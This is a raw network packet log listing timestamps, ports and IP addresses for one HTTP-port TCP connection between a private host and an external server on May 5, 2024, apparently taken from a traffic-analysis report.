May 5, 2024 00:25:07.267189026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267200947 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267213106 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267225981 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267237902 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267288923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267302036 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267410994 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267503023 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267515898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267528057 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267821074 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267838001 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267966032 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267982006 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267995119 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268007040 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268019915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268330097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268347025 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268358946 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268371105 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268383980 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268399000 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268651009 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268663883 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268676043 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268687963 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268820047 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268836975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268903017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.268915892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269037008 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269048929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269061089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269073963 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269085884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269098043 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269109964 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269197941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269320965 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269337893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269350052 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269362926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269520044 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269604921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269618988 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269701958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269830942 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269844055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269855976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269884109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.269896030 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270076990 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270205021 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270216942 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270375967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270392895 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270405054 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270500898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270517111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270529985 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270541906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270629883 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270751953 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270767927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270780087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270792007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270803928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270816088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270827055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270838976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.270849943 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271006107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271023035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271034956 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271250963 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271266937 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271279097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271354914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271367073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271379948 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271390915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271450996 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271579981 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271591902 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271604061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271631002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271704912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271717072 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271728039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271754980 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271830082 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271842957 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271853924 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.271950006 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272078991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272090912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272102118 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272376060 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272391081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272403955 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272414923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272425890 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272437096 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272448063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272459030 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272469997 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272627115 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272643089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272654057 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272751093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272876978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272891998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272903919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.272953033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273129940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273145914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273158073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273169041 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273271084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273286104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273350954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273363113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273478031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273488998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273500919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273529053 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273540974 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273597956 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273722887 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273735046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.273891926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.451606035 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.556544065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.556914091 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.661753893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.661818981 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.661956072 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.662064075 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.766607046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.766797066 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.766947031 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.871217012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871253014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871278048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871452093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871484995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871509075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.871529102 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.871695042 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.871859074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.872039080 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.976269960 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976322889 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976347923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976455927 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.976540089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976573944 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976625919 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.976675034 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976797104 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.976843119 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976869106 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.976963043 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.977113962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.977139950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.977147102 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.977183104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.977207899 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.977303028 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.977482080 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.081336021 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.081370115 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.081394911 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.081454039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.081617117 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.081775904 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.081787109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.081942081 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.082110882 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.082216978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.082509995 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.082622051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.082670927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.082771063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.082811117 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.082890034 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.082983017 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.083033085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.083187103 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.083322048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.083343983 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.083350897 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.083585978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.083699942 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.083843946 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.083852053 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.083998919 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.084075928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.084170103 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.084342957 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.084566116 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.084767103 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.084800005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.085012913 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.085061073 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.085185051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.085313082 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.085494995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186053038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186168909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186295033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186304092 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186418056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186669111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186680079 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186722040 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.186916113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187041998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187050104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187093973 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187164068 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187416077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187541962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187550068 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187666893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187792063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187799931 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.187915087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188111067 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188313961 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188440084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188447952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188561916 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188692093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188699961 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188707113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188740969 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188812017 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.188937902 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.189246893 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189421892 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189591885 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189591885 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189754009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189754009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.189902067 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.293577909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.293607950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.293734074 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.293742895 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.293855906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.293952942 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.293982029 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294121981 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294147015 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294154882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294162989 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294265985 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294272900 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294281006 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294301987 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294368982 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294462919 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294480085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294635057 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294639111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294750929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294759989 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294795036 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294939995 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.294991016 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.294998884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295144081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295151949 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295231104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295283079 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.295452118 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.295660973 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.295782089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295824051 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.295933962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295942068 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.295963049 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.296045065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296053886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296061993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296068907 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296150923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296303988 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296312094 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296319962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296336889 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.296406031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296510935 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.296530962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296658993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296669006 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.296780109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296839952 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.296892881 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296900988 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296942949 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296951056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.296958923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297044992 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297136068 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297209978 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.297274113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297352076 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.297444105 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297451973 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297492027 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.297533035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297627926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.297688961 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.297858953 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.297894955 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.298002005 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.298011065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.298207045 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.298259020 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.298368931 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.298538923 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.298765898 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.298999071 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.299021959 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.299343109 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.300041914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300157070 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300272942 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.300441980 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.300616026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300623894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300632000 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300667048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300676107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300683022 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300717115 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.300858021 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.301031113 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.407962084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.407994986 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408152103 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408159018 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:08.408160925 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:08.408286095 CEST	80	49789	144.208.127.230	192.168.11.20
